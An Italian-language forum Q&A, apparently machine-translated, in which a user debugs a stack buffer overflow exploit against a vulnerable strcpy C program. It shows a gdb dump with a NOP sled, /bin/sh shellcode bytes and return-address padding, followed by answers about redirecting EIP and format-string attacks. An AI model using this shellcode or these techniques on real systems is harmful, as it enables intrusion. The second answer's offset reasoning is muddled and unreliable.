Overflow buffer: errore di segmentazione a 0x90909090

Question

Overflow buffer: errore di segmentazione a 0x90909090

#1 da (1 voti)
#2 da (1 voti)

0

perché sto ricevendo un errore di segmentazione in una slitta NOP, non è previsto che slitta le istruzioni finché non arriva al codice shell?

0xbffff030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff070: 0xc389c031  0x80cd17b0  0x6852d231  0x68732f6e
0xbffff080: 0x622f2f68  0x52e38969  0x8de18953  0x80cd0b42
0xbffff090: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0a0: 0x41414141  0x41414141
(gdb) 
0xbffff0a8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0b8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0d8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0e8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0f8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff108: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff118: 0x41414141  0x41414141
(gdb) 
0xbffff120: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff130: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff140: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff150: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff160: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff170: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff180: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff190: 0xbffff050  0xbffff050

ed ecco il codice: -

#include<stdio.h>

int main(int argc, char* argv[]){
    char buf[256];

    if(argc==1){
        printf("Usage: %s input\n",argv[0]);
        exit(0);
    }
    strcpy(buf,argv[1]);
    printf("%s",buf);
}

Messaggio di errore

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

qualche idea?

c buffer-overflow shellcode

posta DullPoint 27.07.2018 - 08:10

fonte

2 risposte

Leggi altre domande sui tag c buffer-overflow shellcode

Come capire "Messaggio di handshake multiplo" nel tipo di messaggio TLS? Login key in email

score 1 · Answer 1

1

Devi ruotare l'esecuzione nella tua slitta di nop. Solitamente viene eseguito sovrascrivendo EIP con l'indirizzo del payload in pila o utilizzando un gadget come jmp esp.

risposta data 27.07.2018 - 08:24

fonte

score 1 · Answer 2

In questo caso dovresti usare l'attacco formato stringa usando la sequenza% _% u dove _ deve essere sostituito dal numero di byte che vuoi sovrascrivere e% u ti aiuterà a sovrascrivere l'indirizzo dopo quei byte.

Potresti anche usare un attacco di overflow del buffer in cui potresti passare una lunga stringa di lunghezza in questo caso: 256 + 8 + 4 = 268. (1 byte in più per l'istruzione, 0,5 byte per arrivare all'indirizzo) in modo da sovrascrivere l'indirizzo in cui buf è memorizzato. Questi 12 byte sono importanti in quanto aiutano a raggiungere l'indirizzo e saltare l'istruzione.